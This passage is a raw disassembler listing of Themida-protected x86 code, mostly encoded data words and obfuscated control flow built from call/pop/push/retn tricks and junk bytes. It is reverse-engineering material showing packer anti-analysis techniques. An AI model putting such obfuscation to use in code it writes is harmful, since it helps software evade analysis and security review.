[eax], 9 jnz short loc_5AEF17 mov dword ptr [ebp+61416D1h], 1 loc_5AEF17: ; CODE XREF: Themida_:005AEF0Bj call dword ptr [ebp+6140D85h] and eax, 0FFh cmp eax, 5 jnb short loc_5AEF31 mov dword ptr [ebp+6141569h], 1 loc_5AEF31: ; CODE XREF: Themida_:005AEF25j jmp loc_5AEF3E ; --------------------------------------------------------------------------- dw 0DD24h dd 38137D73h db 0F2h, 6Dh ; --------------------------------------------------------------------------- loc_5AEF3E: ; CODE XREF: Themida_:loc_5AEF31j push 0 push edx call sub_5AEF49 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AEF49 proc near ; CODE XREF: Themida_:005AEF41p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 18h inc edx push edx retn sub_5AEF49 endp ; --------------------------------------------------------------------------- db 61h, 5Bh, 8 dd 9E98FD8h, 0F6000000h, 30D0CE97h, 0F9CE3EC4h, 0FBF4BD80h dd 0F000616h, 1184h, 83EDB600h, 17009EBDh, 840F0006h, 13h dd 61E9D78Bh, 89000019h, 141AE1B5h, 69958B06h, 8306142Ch dd 1416D1BDh, 850F0006h, 0BEh, 0FFBF0F51h, 0BE858D5Fh dd 0E90616FBh, 0Bh, 7C78EC9Bh, 4E821B2h, 5089D9EDh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0E1C35141h, 56E474EDh dd 80D78B66h, 0BF0FD8F5h, 0BA016AC9h, 26276559h, 840F006Ah dd 6, 23558D89h, 6A0614h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 17h, 53C35545h, 0FDCB42Dh, 0FFF5F8BFh, 14097195h dd 65BD0106h, 89061403h, 16FBE885h, 719D8906h, 6A061403h dd 3840FFFh, 0F000000h, 0B5FFCBBFh, 616FBE8h, 8876D4BFh dd 8995FF5Ah, 0BF06142Ah, 4FCB535Fh, 845950Bh, 858D0614h dd 616EFF9h, 36F18152h, 5F74F5F3h, 0B99D8950h, 0FF061420h dd 142BDD95h, 89850906h, 0E8061412h, 0Dh, 6FEDEACFh, 6478445Ch dd 0C409E118h, 85895F81h, 616F083h, 0B9E1C180h, 56287FFEh dd 0F006858Dh, 85890616h, 6141851h, 5052E280h, 46E1F781h dd 0B5FF29ADh, 616F083h, 27CBBF66h, 0BCD95FFh, 0EE80614h dd 0B1000000h, 93AC74Dh, 0F10E4C8Fh, 0A853FEDDh, 0AE87Eh dd 58360000h, 750DCE4Ah, 4DCE5FAh, 3121BD2Bh, 5F5F0614h dd 24D58589h, 8D8B0614h, 6141075h, 0F074858Dh, 8D8B0616h dd 6140845h, 0B5FFF550h, 616F083h, 19EA8166h, 0CD95FFAEh dd 8B06140Bh, 978589FBh, 890616F0h, 142C1DB5h, 13E906h dd 0A3990000h, 0C71D424Ch, 687961CAh, 8C50A3BDh, 38D76180h dd 53858D26h, 660616F0h, 509BF9BFh, 3A1ACCBAh, 83B5FF6Ah dd 0E90616F0h, 13h, 0E32A333Bh, 21BE00ECh, 9908A23Ch, 7401305h dd 0FF042660h, 140BCD95h, 9E95006h, 0D0000000h, 1B3F4746h dd 6D178251h, 7B58B959h, 8589428Bh, 616F08Fh, 8E9h, 76575D00h dd 0F458B092h, 46858D70h, 560616F0h, 14E85AF5h, 7D000000h dd 2E79BF97h, 2062FC87h, 0D8DF1CC0h, 9218DF5Ch, 669ED492h dd 59A3A3BFh, 0FFD78B50h, 16F083B5h, 21BD8B06h, 8906142Eh dd 141FDD8Dh, 0CD95FF06h, 0FC06140Bh, 0F0938589h, 0BF0F0616h dd 61858DFAh, 6A0616F0h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 18042444h, 40000000h, 3B22C350h, 66341CE7h dd 50C836BFh, 0BA4B23BAh, 83B5FF18h, 330616F0h, 142A31BDh dd 0CD95FF06h, 6A06140Bh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 5F72C351h, 158589h dd 85890614h, 614047Dh, 3847BEB9h, 15858D64h, 810616F0h dd 0A1852ED9h, 501CB24Fh, 65DF8166h, 0C5BD8B90h, 0FF06140Eh dd 16F083B5h, 0E2C58006h, 0BCD95FFh, 958B0614h, 6142BF5h dd 0F0878589h, 8D0B0616h, 6141FFDh, 0F024858Dh, 95890616h dd 61412D9h, 0F5BD2950h, 0FF06140Eh, 16F083B5h, 0D78B6606h dd 0BCD95FFh, 85890614h, 6140C4Dh, 0F08B8589h, 6A0616h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 18C1F4C3h, 52EFCCD4h, 60B4C048h, 38A0Fh, 0D8800000h dd 3360616Bh, 141ADDBDh, 4686106h, 8A000001h, 1B858DD7h dd 660616F1h, 0DCAFCF81h, 0A8D0Fh, 89600000h, 1425858Dh dd 61595006h, 30EF8150h, 8D479747h, 16F21F85h, 0E9858906h dd 50061415h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Bh, 0EFC35141h, 1B1CDCDDh, 0FF22B05Ch, 14164595h, 0D2B70F06h dd 850FC085h, 3, 80D6BF0Fh, 16FBF4BDh, 850F0006h, 36h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 2EC35747h dd 6890F67h, 89000000h, 140BF995h, 0C8BF0F06h, 1543E9h dd 0A30BBA00h, 0BD836DFDh, 61416D1h, 16850F00h, 66000000h dd 0BD83CE8Bh, 617009Eh, 46840F00h, 89000000h, 140DF59Dh dd 0B8858D06h, 0B90616F0h, 0AF7F80h, 150BE9h, 33506000h dd 141A198Dh, 0EAB15F06h, 37E961h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 170424h, 53430000h, 0F4A6F2C3h dd 0A3858DF6h, 30616F0h, 141979BDh, 6890F06h, 89000000h dd 142BC58Dh, 9D095006h, 6140AF1h, 0F11B858Dh, 95890616h dd 6141A8Dh, 0C88B6650h, 16D1BD83h, 0F000614h, 4F84h, 41858D00h dd 0E90616F2h, 10h, 0F13E1106h, 33E936Dh, 0A73228C9h, 9A254204h dd 1129B589h, 35E90614h, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 0D6B6C355h dd 0C1AD8486h, 668DF397h, 0CD35E181h, 0F22A858Dh, 9D290616h dd 6140401h, 9DBD8B50h, 8D06140Dh, 16F27985h, 1D8D8B06h dd 6606142Ch, 6A50F88Bh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 17042444h, 47000000h, 13F5C357h, 11E96870h dd 57000000h, 94E8D1FFh, 0C3E836E5h, 2B18BE99h, 9EDAE0C2h dd 123995FFh, 0BD890614h, 61411EDh, 8910C483h, 141A6DBDh dd 66C08B06h, 0CAB5EF81h, 10F1BD83h, 75000614h, 25BD8309h dd 6140Eh, 53501974h, 0D3B8C08Bh, 89000007h, 14181985h dd 529D8D06h, 0FF0616A7h, 83585BD3h, 140E25BDh, 17740006h dd 0D3B85350h, 89000007h, 14181985h, 419D8D06h, 0FF0616A4h dd 6A585BD3h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 2466C357h, 6850Fh, 958B0000h dd 6141559h, 8E9h, 6D9EA800h, 3E8A83EAh, 29C08BB4h, 141BD5B5h dd 0A3BD8106h, 6F0616F0h, 0F616572h, 0B084h, 0C5BD8B00h dd 8D06140Bh, 16F11B85h, 858D5006h, 616F258h, 79858D50h dd 500616F2h, 123995FFh, 0C4830614h, 4985C60Ch, 44061408h dd 0A3184F68h, 2DB5FF96h, 8D06140Ch, 143B4E85h, 8BD0FF06h dd 79858DD8h, 500616F2h, 858DD3FFh, 616F0A3h, 1B858D50h dd 500616F1h, 16D1BD83h, 74000614h, 41858D08h, 0EB0616F2h dd 2A858D06h, 500616F2h, 0F279858Dh, 0FF500616h, 14123995h dd 10C48306h, 6558D8Bh, 6A0614h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1D0424h, 52420000h, 0B0D197C3h, 16921481h dd 8B4AB1CCh, 1402EDBDh, 8595FF06h, 8A06140Dh, 0FF25D7h dd 13B60000h, 1229BD89h, 0F8830614h, 62830F05h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 0CD5EC355h, 16C959CFh, 1659BD09h, 85C70614h dd 6141569h, 1, 0E9F5E280h, 0Bh, 0B4F73941h, 600E4FEh dd 8D1E73E8h, 16F0D785h, 23506006h, 140C8D8Dh, 85895A06h dd 6140721h, 68E961h, 8B660000h, 0D1BD83D1h, 61416h, 1D840Fh dd 8D2B0000h, 6142E35h, 4E37B966h, 0F102858Dh, 0B5890616h dd 6142961h, 3DE9h, 8DF88B00h, 16F0E485h, 52006A06h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 0E8C08025h, 0Eh, 3DF62A3Ch, 9B33DA9Fh, 25CD8C6Bh, 0B70FBDDBh dd 85895AFFh, 616F117h, 1FE9BD29h, 0BD830614h, 61416D1h dd 3A850F00h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 0F5DEC356h, 21E0CFDEh, 1F998D03h, 0BD830614h dd 617009Eh, 2F840F00h, 1000000h, 140899BDh, 1156E906h dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h dd 50400000h, 4038BC3h, 0A9B7C31Eh, 5EE99CB5h, 6A000004h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h dd 43000000h, 5AD6C353h, 60445605h, 9963BF66h, 7E9h, 0F0065800h dd 7207F37h, 0C08BF961h, 1DB5958Bh, 0CA8B0614h, 10F1BD83h dd 75000614h, 25BD8309h, 6140Eh, 53501974h, 0D4B8C08Bh dd 89000007h, 14181985h, 529D8D06h, 0FF0616A7h, 83585BD3h dd 140E25BDh, 17740006h, 0D4B85350h, 89000007h, 14181985h dd 419D8D06h, 0FF0616A4h, 0F585BD3h, 1285h, 9E800h, 0FBD80000h dd 0E15A6A33h, 66D6FC3Bh, 665AD38Bh, 80A5E781h, 12E18D33h dd 0C08B0614h, 8F0Fh, 3F680000h, 6A000F00h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0BE6EC357h dd 2BFC1E07h, 608FDCF6h, 0E5804CB7h, 9D29615Dh, 61404EDh dd 9D29006Ah, 6141E4Dh, 0EFB9006Ah, 0FF42B750h, 1424D595h dd 0F3DF8106h, 855EF7E1h, 6850FC0h, 0B000000h, 143099BDh dd 9B858906h, 890616F0h, 141CB59Dh, 66006A06h, 6AD18Bh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 1C35040h dd 789BD8Bh, 6A0614h, 34959503h, 6A0614h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 16h, 50C35545h, 0C98144D5h dd 301DF69Ah, 14E9006Ah, 0BB000000h, 6FD2BE13h, 673E8F0Bh dd 7800D638h, 47E6EEB0h, 8DE0171Fh, 16F27985h, 0DE906h dd 0CE9B0000h, 107EA68Ch, 5538BCB6h, 50604BCBh, 4E82BF60h dd 13E952E0h, 3B000000h, 5E1E9963h, 591EDECh, 4E90DDDBh dd 0AF7FCCC4h, 0F961E8F6h, 830F016Ah, 19h, 14E9h, 1C8CEC00h dd 0F6500DEBh, 8384CC9Bh, 8C1043Ch, 0ABE523CEh, 0E9016A8Fh dd 5, 0B4255CDEh, 31016A54h, 140A2D95h, 0E5B58906h, 68061403h dd 0F01FFh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Bh, 8EC35545h, 3F57DC5Eh, 8BF466EBh, 141279BDh, 0DA816606h dd 0BD83BC4Ah, 61416D1h, 41840F00h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h dd 0B9B5C352h, 658D8BF9h, 8D061407h, 16F0F885h, 1D9D0106h dd 0E9061430h, 14h, 6880Fh, 9D890000h, 61418F1h, 0F0CE858Dh dd 0CA8A0616h, 15952B50h, 5006141Dh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Dh, 35C35646h, 4AF9E0F7h, 63C6555h dd 0F1950BECh, 0FF061434h, 16F09BB5h, 0FFF08A06h, 16F08795h dd 67E98106h, 8503454Dh, 0A850FC0h, 8A000000h, 30E9E8h dd 0B70F0000h, 9F8589FEh, 660616F0h, 0FF9357BFh, 16F09FB5h dd 5ABF6606h, 7D95FF22h, 89061404h, 142C4DB5h, 0FC08506h dd 585h, 0EEFB900h, 106A5EDCh, 0DC5DB5BAh, 0E4F8BF31h dd 0BD830395h, 61416D1h, 28840F00h, 81000000h, 0B473BEEAh dd 0F8858D78h, 890616F0h, 142C7585h, 1DE906h, 0E9530000h dd 0Ah, 73F1EC42h, 8B0874D1h, 8D5F66F7h, 16F0CE85h, 0EDD18106h dd 506094CBh, 0F09BB5FFh, 9D290616h, 6140FCDh, 0F09395FFh dd 85890616h, 61416C5h, 850FC085h, 26h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 18h, 3AC35646h, 1216B0B0h dd 23FDB589h, 85890614h, 616F09Fh, 969958Bh, 6A0614h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 18h, 7EC35040h, 0AE007C86h dd 7E9h, 0EFE4BB00h, 1C609D1Ah, 958B006Ah, 61419C9h, 0DBD8D8Bh dd 0B5FF0614h, 616F09Fh, 11E9h, 8BD84400h, 8EAF87A7h, 33AABAC0h dd 7370846Bh, 95FFABA6h, 616F08Bh, 0CFFF3BBFh, 618D016Dh dd 85061430h, 6850FC0h, 23000000h, 142E19BDh, 9FB5FF06h dd 8B0616F0h, 140FF5BDh, 7D95FF06h, 8B061404h, 14132195h dd 0FC08506h, 1485h, 0AE800h, 9FDE0000h, 6AC7FDB5h, 0B807C8C6h dd 0E222BF66h, 0E8006A5Fh, 0Bh, 1F6E797Fh, 648579F4h, 81C57757h dd 0A54625DAh, 8068593Ch, 1000000h, 1419F9B5h, 6A036A06h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h dd 42000000h, 0AB77C352h, 6F3D8671h, 0DC7EBA2Ch, 123D958Bh dd 6A0614h, 0CDF8166h, 53006A11h, 135BD01h, 68590614h dd 0C0000000h, 19C5B589h, 0B5FF0614h, 616F117h, 87DB501h dd 95FF0614h, 61403D9h, 52B90DBAh, 0CEBF0F20h, 0FFFF883h dd 57985h, 0B5296000h, 614313Dh, 0FF61CB8Ah, 16FB8585h dd 198C0F06h, 0E9000000h, 14h, 0D73EFF7Eh, 0D3ED066Fh dd 805EEA56h, 0E5F46B03h, 6118E456h, 0FB85BD83h, 0F020616h dd 3F984h, 0F5852900h, 8D061406h, 5B243B85h, 3A82BF00h dd 8E84F50h, 0EB000000h, 0C963EB2Ah, 29D9E148h, 1412ED8Dh dd 0D0FF5F06h, 1E8E858Dh, 0D0FF005Bh, 6880Fh, 958B0000h dd 6142689h, 4FBAC08Bh, 83008409h, 1410F1BDh, 9750006h dd 0E25BD83h, 74000614h, 8B535019h, 7D8B8C0h, 85890000h dd 6141819h, 0A7529D8Dh, 0D3FF0616h, 0BD83585Bh, 6140E25h dd 50177400h, 7D8B853h, 85890000h, 6141819h, 0A4419D8Dh dd 0D3FF0616h, 0C181585Bh, 2176B29Ch, 2C0DBD2Bh, 0EE90614h dd 5A000000h, 45AE06DEh, 7038B10Ah, 673D007h, 66C08B29h dd 6134C781h, 0F003F68h, 8B0F00h, 0E9000000h, 10h, 38E55E09h dd 6EEA86C4h, 0FEF9EC0Ah, 457C6157h, 0C181006Ah, 3E4FC222h dd 800F006Ah, 0Ch, 68F0Fh, 840F0000h, 0 ; --------------------------------------------------------------------------- movzx ecx, cx call dword ptr [ebp+61424D5h] mov dl, bh jnp loc_5AFDF3 add [ebp+6140CDDh], esi loc_5AFDF3: ; CODE XREF: Themida_:005AFDE7j test eax, eax and edi, [ebp+6141C5Dh] mov [ebp+616F09Bh], eax push 0 push edx call sub_5AFE0C and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AFE0C proc near ; CODE XREF: Themida_:005AFE04p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 17h inc edx push edx retn sub_5AFE0C endp ; --------------------------------------------------------------------------- add eax, [ecx+esi-1Fh] push 0F01FFh call sub_5AFE37 mov bh, 94h or cl, [edx+18h] pop ss and edi, [edi+edx*4-4E74CDFCh] ; =============== S U B R O U T I N E ======================================= sub_5AFE37 proc near ; CODE XREF: Themida_:005AFE25p ; FUNCTION CHUNK AT 005AFEA0 SIZE 0000002D BYTES jg loc_5AFE43 mov edx, [ebp+6140A99h] loc_5AFE43: ; CODE XREF: sub_5AFE37j pop ecx cmp dword ptr [ebp+61416D1h], 0 jz loc_5AFEA0 jmp loc_5AFE5B ; --------------------------------------------------------------------------- dw 0E87h db 3Ah, 0BAh, 7Ch ; --------------------------------------------------------------------------- loc_5AFE5B: ; CODE XREF: sub_5AFE37+1Aj lea eax, [ebp+616F0F8h] push 0 push ebx call sub_5AFE6C and [ebx-3Dh], bl sub_5AFE37 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5AFE6C proc near ; CODE XREF: sub_5AFE37+2Dp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 18h inc ebx push ebx retn sub_5AFE6C endp ; --------------------------------------------------------------------------- dd 1020D2E9h, 0C880F78h, 0F000000h, 68Ch, 800F00h, 0E9000000h dd 13h, 0CF8B6660h, 61CAB70Fh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AFE37 loc_5AFEA0: ; CODE XREF: sub_5AFE37+14j lea eax, [ebp+616F0CEh] sbb dx, 2E81h push eax mov dx, 252Bh push dword ptr [ebp+616F09Bh] or ecx, [ebp+6142B99h] call dword ptr [ebp+616F093h] push 0 push ecx call sub_5AFECD and [ecx-3Dh], bl ; END OF FUNCTION CHUNK FOR sub_5AFE37 ; =============== S U B R O U T I N E ======================================= sub_5AFECD proc near ; CODE XREF: sub_5AFE37+8Ep arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 15h inc ecx push ecx retn sub_5AFECD endp ; --------------------------------------------------------------------------- cmc adc [ecx+16F09F85h], ecx push es mov edi, [ebp+61424BDh] mov dword ptr [ebp+6142D7Dh], 0 mov dh, 0E9h cmp dword ptr [ebp+616F09Fh], 0 jz loc_5B00CB jbe loc_5AFF15 jmp loc_5AFF15 ; --------------------------------------------------------------------------- db 96h dd 0EFBBBB27h ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- loc_5AFF15: ; CODE XREF: Themida_:005AFF04j ; Themida_:005AFF0Aj lea eax, [ebp+616F37Dh] adc ecx, 5F974475h push eax push 0 push eax call sub_5AFF2D and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AFF2D proc near ; CODE XREF: Themida_:005AFF25p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ch inc eax push eax retn sub_5AFF2D endp ; --------------------------------------------------------------------------- db 5Eh, 2Ch, 0BBh dd 0E2736CCEh, 810FDDCCh, 6, 9F59D09h, 16A0614h, 24B1950Bh dd 830F0614h, 2, 0B5FFD18Bh, 616F09Fh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 14h, 0D6C35242h, 10DDBD89h, 95FF0614h dd 616F097h, 9D8B6051h, 6140B29h, 9FD9589h, 5F610614h dd 0F09FB5FFh, 840F0616h, 0 ; --------------------------------------------------------------------------- call dword ptr [ebp+614047Dh] push 0 push ecx call sub_5AFFBD and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AFFBD proc near ; CODE XREF: Themida_:005AFFB5p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 17h inc ecx push ecx retn sub_5AFFBD endp ; --------------------------------------------------------------------------- db 0D2h, 7Ah, 0CDh dd 53E98133h, 0E84E0CF1h, 5, 0C32A9319h, 11E823h, 610E0000h dd 0FE594A55h, 7BAFFAB7h, 1F84685Ah, 89F21B4Ah, 140FA98Dh dd 685A5F06h, 0F01FFh, 0A898D8Bh, 0BD830614h, 61416D1h dd 1A840F00h, 8B000000h, 0F8858DCBh, 600616F0h, 2A49B589h dd 0BF0F0614h, 0EE961FBh, 8B000000h, 0CE858DF8h, 2B0616F0h dd 142DC58Dh, 0D68B5006h, 0F09BB5FFh, 0D18B0616h, 0F09395FFh dd 0E9500616h, 5, 4DCD444Fh, 8B665A0Bh, 9F8589D3h, 6A0616F0h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h dd 46000000h, 9F3AC356h, 109D4A31h, 9F95ACDFh, 0E9C8BF0Fh dd 0Bh, 0A1CA07AAh, 0FA25E2E2h, 0FFE81835h, 16F09FB5h dd 719D8906h, 0FF061412h, 16F08F95h, 0F58D8906h, 0FF061407h dd 16F09FB5h, 0A5BD8B06h, 0FF06141Bh, 14047D95h, 4DBD2306h ; --------------------------------------------------------------------------- sub al, 14h push es loc_5B00CB: ; CODE XREF: Themida_:005AFEFEj jmp near ptr dword_5AF75C+9Ah ; --------------------------------------------------------------------------- jmp loc_5B00E6 ; --------------------------------------------------------------------------- db 38h, 0A5h, 0Ah dd 8F8A7A11h, 403A6CC7h, 957F52E4h db 0E0h, 0B7h ; --------------------------------------------------------------------------- loc_5B00E6: ; CODE XREF: Themida_:005B00D0j push dword ptr [ebp+616FBE8h] mov edi, ecx call dword ptr [ebp+6140BD9h] mov [ebp+6143481h], edx mov eax, [ebp+6141EB5h] mov dx, si jmp loc_5B0724 ; --------------------------------------------------------------------------- add edi, 1DB140D6h lea esi, [ebp+616F39Dh] jnz $+6 lea eax, [ebp+616A07Dh] jmp loc_5B012D ; --------------------------------------------------------------------------- db 8Dh, 59h, 3Fh dd 3BB619FDh db 2Bh ; --------------------------------------------------------------------------- loc_5B012D: ; CODE XREF: Themida_:005B0120j call eax push 0 push eax call sub_5B013A and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B013A proc near ; CODE XREF: Themida_:005B0132p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Bh inc eax push eax retn sub_5B013A endp ; --------------------------------------------------------------------------- leave test [esi-32AE5325h], ch cwde mov edx, [ebp+61423FDh] mov [ebp+61430B1h], edi mov edi, 6549D9A7h push 0 push 0 push edi call sub_5B0170 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B0170 proc near ; CODE XREF: Themida_:005B0168p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 18h inc edi push edi retn sub_5B0170 endp ; --------------------------------------------------------------------------- cli mov edx, 8BF06D3Ch rcl byte ptr [edi-77h], 1 test [ebp+0Eh], edx adc al, 6 pop ecx call dword ptr [ebp+6141869h] mov ecx, edx mov esi, ebx jg loc_5B01A5 mov ecx, [ebp+6142329h] loc_5B01A5: ; CODE XREF: Themida_:005B0199j lea eax, [ebp+616A07Dh] jbe loc_5B01B4 movsx edx, si loc_5B01B4: ; CODE XREF: Themida_:005B01ABj call eax push 0 push edx call sub_5B01C1 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B01C1 proc near ; CODE XREF: Themida_:005B01B9p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_5B01C1 endp ; --------------------------------------------------------------------------- db 47h, 18h, 6Ah dd 20D698B1h, 89D55634h, 14076595h, 66006A06h, 3BCCEA81h dd 8D895653h, 6141FB5h, 95FF5A5Fh, 6141869h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 86C35747h, 5DE7626Dh dd 0CE973h, 20500000h, 92DF56EEh, 5049CABFh, 0C08BADB2h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0B2C35545h dd 66F06F71h, 256B92F3h, 185BD01h, 0BD830614h, 61410F1h dd 83097500h, 140E25BDh, 19740006h, 0C08B5350h, 7D9B8h dd 19858900h, 8D061418h, 16A7529Dh, 5BD3FF06h, 25BD8358h dd 6140Eh, 53501774h, 7D9B8h, 19858900h, 8D061418h, 16A4419Dh dd 5BD3FF06h, 55006A58h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1604h, 0C3554500h, 8B220240h, 1430D9BDh, 8D8B5606h dd 61425E1h, 6AC08B5Ah, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 14042444h, 45000000h, 0F72C355h, 687h, 71952300h dd 8B06142Dh, 140D1595h, 8B0F5006h, 6, 0AE19D29h, 0D88B0614h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 4BC35040h dd 90D9AE6h, 0FC89BE98h, 559D8D53h, 8B06141Dh, 8B038903h dd 43895043h, 819D8D50h, 8B0616FBh, 5B038903h, 281D83BAh dd 2830F70h, 8B000000h, 66006ACEh, 858DCF8Bh, 616FB81h dd 8B5005B2h, 14235595h, 0E9606A06h, 11h, 0CBDAC72Dh, 38333106h dd 3F8FF292h, 0BCC13093h, 55858D0Dh, 0E906141Dh, 14h, 0D984F299h dd 0E723F0D2h, 0DDEC6EB4h, 4EFBA50Bh, 61ECD2FDh, 0D9850150h dd 6A06140Dh, 0E9C28000h, 68F5006Ah, 1800h, 6A53F98Bh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h dd 45000000h, 704EC355h, 796B965Dh, 0B993E102h, 1760FA25h dd 8D8D8B53h, 5A061411h, 311595FFh, 93BA0614h, 0FF0DA9B9h dd 140B7595h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1D04h, 0C3574700h, 60F61735h, 9FA87A3Fh, 9D890C9Fh dd 61417C1h, 0EE9h, 9DED4000h, 25025569h, 19C7F25Ah, 0FF5CD5F8h dd 16FBE8B5h, 11E806h, 0E5E60000h, 725B0330h, 2776D22Fh dd 0D30037DBh, 2BE1CB9Bh, 143471BDh, 95FF5F06h, 6140BD9h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 6FC35242h dd 8F663470h, 37E98D63h, 6E92Eh, 5B260000h, 0D1F9E977h dd 1D55858Dh, 89570614h, 141BE19Dh, 408B5A06h, 5E918h dd 46730000h, 526D6CB0h, 2DA98D89h, 0C75A0614h, 14131185h dd 6, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1A04h, 0C3534300h, 0D1B11571h, 8B36D48Ah, 142FC9BDh dd 0D1BD8306h, 61416h, 25840Fh, 0B9660000h, 8C3D9B2Ah dd 0F000000h, 15B83h, 8D296000h, 614306Dh, 0AAA9D281h dd 0E961789Ah, 11h, 3DC8B70Fh, 98h, 13A830Fh, 0F2800000h dd 3B858D3Ah, 2B005B24h, 1404518Dh, 0FD0FF06h, 858DCAB7h dd 5B1E8Eh, 0E9D0FFF9h, 5, 42BD41D2h, 0B6C08BE4h, 0F1BD830Fh dd 61410h, 0BD830975h, 6140E25h, 50197400h, 0B8C08B53h dd 0BC6h, 18198589h, 9D8D0614h, 616A752h, 585BD3FFh, 0E25BD83h dd 74000614h, 0B8535017h, 0BC6h, 18198589h, 9D8D0614h dd 616A441h, 585BD3FFh, 3719D89h, 8D330614h, 6140C1Dh dd 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h dd 50400000h, 632BB7C3h, 0F9725089h, 0FFFF883h, 4E85h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 619D89D2h, 1061426h, 140C4985h, 0D985C706h dd 6140Fh, 8B000000h, 1430E595h, 0E5E906h, 0E9F50000h dd 3Dh, 64A36BAh, 0A98D012Fh, 83061402h, 850F01F8h, 29h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 47C35646h dd 6919466Ah, 0D2E909h, 0B70F0000h, 0F19CE9D3h, 0BD0BFFFFh dd 6140CA9h, 0A6B5C08Bh, 10F1BD83h, 75000614h, 25BD8309h dd 6140Eh, 53501974h, 0DDB8C08Bh, 89000007h, 14181985h dd 529D8D06h, 0FF0616A7h, 83585BD3h, 140E25BDh, 17740006h dd 0DDB85350h, 89000007h, 14181985h, 419D8D06h, 0FF0616A4h dd 0FC585BD3h, 1820Fh, 0FF90000h, 381h, 0FBBF0F00h, 6AC08Bh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 96E3B4C3h, 20C58D29h, 5E90614h, 0F000002h, 680h, 0CD952B00h dd 8D061409h, 16F98585h, 6870F06h, 89000000h, 142E5595h dd 7D858906h, 0E90616FBh, 5, 75329672h, 3AE9C9h, 8D010000h dd 61411C5h ; --------------------------------------------------------------------------- loc_5B0724: ; CODE XREF: Themida_:005B0103j lea eax, [ebp+616F78Dh] mov [ebp+6141719h], edx pusha mov [ebp+614064Dh], esi jmp loc_5B0746 ; --------------------------------------------------------------------------- dd 11E99F62h, 6EEBA7DFh db 79h, 2Fh ; --------------------------------------------------------------------------- loc_5B0746: ; CODE XREF: Themida_:005B0737j popa inc eax mov ecx, [ebp+6141C2Dh] mov [ebp+616FB7Dh], eax mov dx, 3145h push 34h lea eax, [ebp+6142415h] push eax push dword ptr [ebp+616FB7Dh] push 0 call dword ptr [ebp+61424DDh] cmp eax, 7 jz loc_5B08E0 mov bx, ds test bl, 4 jnz loc_5B0886 mov byte ptr 